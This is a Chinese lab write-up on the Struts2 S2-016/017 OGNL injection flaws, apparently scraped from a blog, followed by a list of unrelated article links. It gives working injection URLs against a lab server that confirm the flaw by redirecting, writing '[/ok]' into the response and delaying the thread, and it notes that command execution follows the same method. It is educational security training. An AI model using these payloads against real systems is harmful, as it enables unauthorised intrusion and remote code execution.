(实验经验分享)web应用安全 > 实验九:Struts2框架安全实验
来源:互联网 发布:vb下载官方 编辑:程序博客网 时间:2024/06/10 09:16
实验地址:合天网安实验室 http://erange.heetian.com/
- 实验所属系列:web应用安全/网络攻击与对抗
- 实验对象:本科/专科信息安全专业
- 相关课程及专业:信息网络安全概论
- 实验时数(学分):4学时
- 实验类别:实践实验类
通过该实验了解java开发流行框架struts2安全缺陷形成的原因,掌握基本的漏洞利用及使用方法,并能够通过代码审计给出加固方案。
了解Struts2
Struts是Apache软件基金会赞助的一个Java开源项目,通过采用JavaServlet/JSP技术,实现了基于Java EE Web应用的MVC设计模式的应用框架,是MVC经典设计模式中的一个经典产品,也是国际上应用最广泛的web应用框架之一。
本次实验为了学习效果,使用了一个版本相对较低的2.1.8版本。
具体预备知识详见 http://erange.heetian.com/pages/registerUser/ru-main.jsp 或自行百度谷歌。此处略。
参考资料:http://drops.wooyun.org/tips/347(非常详细)
Struts2 s2-016/017漏洞分析
在struts2中,DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。
实验环境
服务器:centos6.3,IP地址:10.1.1.4
测试者:win7,IP地址随机,可自己查看,在本例中为10.1.1.207
测试网站:http://10.1.1.4:8080
实验步骤一
判断一个使用了struts2框架的网站是否存在漏洞:下面有三种判断方法
任务描述:依据上述漏洞分析及给出的poc,并参照官方文档
http://struts.apache.org/release/2.3.x/docs/s2-017.html
http://struts.apache.org/release/2.3.x/docs/s2-016.html
提示一:
官方的poc:
http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/
http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23
请输入你所构造的POC: http://10.1.1.4:8080/training/EN_index.action?redirect:http://www.yahoo.com/
实验机里成功进行了redirect,即存在struts2漏洞(实验机无法连外网,所以超时)
提示二:
ServletActionContext能够拿到真正的HttpServletRequest、HttpServletResponse、ServletContext。拿到一个HttpServletResponse响应对象后就可以调用getWriter方法(返回的是PrintWriter)让Servlet容器上输出[/ok]了,而其他的POC也都做了同样的事:拿到HttpServletResponse,然后输出[/ok]。
请输入你构造的POC:http://10.1.1.4:8080/training/EN_index.action?redirect:${%23w%3d%23context.get ('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.println('[/ok]'),%23w.flush(),%23w.close()}
或者POC:http://10.1.1.4:8080/training/EN_index.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23response=@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%22[/ok]%22),%23response.close()}
这个poc需要一些java语言功底。。有些难度。。
页面显示[/ok]成功执行
提示三:
延迟判断:先让线程sleep一段时间,再去计算时间差来判断漏洞是否存在。
请输入你所构造的POC: http://10.1.1.4:8080/training/EN_index.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000)}
很多的利用工具都是让线程睡一段时间再去计算时间差来判断漏洞是否存在。这样比之前的回显更靠谱,缺点就是慢。而实现这个POC的方法同样是非常的简单其实就是静态调用java.lang.Thread.sleep(5000)就行了。而命令执行原理也是一样的。
- (实验经验分享)web应用安全 > 实验九:Struts2框架安全实验
- (实验经验分享)web应用安全 > 实验七:XSS进阶二
- 实验吧安全杂项WP(九)
- Web安全实践第一次实验
- Web安全 Buffer Overflow Attack实验
- badstore安全测试实验
- 信息安全实验报告模板(定)
- 实验吧安全杂项WP(一)
- 实验吧安全杂项WP(二)
- 实验吧安全杂项WP(三)
- 实验吧安全杂项WP(四)
- 实验吧安全杂项WP(四)
- 实验吧安全杂项WP(五)
- 实验吧安全杂项WP(六)
- 实验吧安全杂项WP(七)
- 实验吧安全杂项WP(八)
- 实验吧安全杂项WP(十)
- 实验--线程安全(1)ArrayList
- HDU 2102 A计划 BFS
- BTrace介绍和生产环境例子
- windows下使用qt webkit
- PHP+MySQL数据库之中文全文检索解决方案
- [MartinFowler] Mocks Aren't Stubs
- (实验经验分享)web应用安全 > 实验九:Struts2框架安全实验
- i++和i--运算符优先级
- ACM [NOIP1999] 回文数(水模拟)
- HDU 1372 Knight Moves BFS求马走的最短路径
- 慕司板V1注意事项及问题汇总
- CSU - 1256 天朝的单行道
- 【差分约束】 HDOJ 1534 Schedule Problem
- 深入理解C++面向对象机制(二)虚继承
- c语言自定义方法实现字符串的7个操作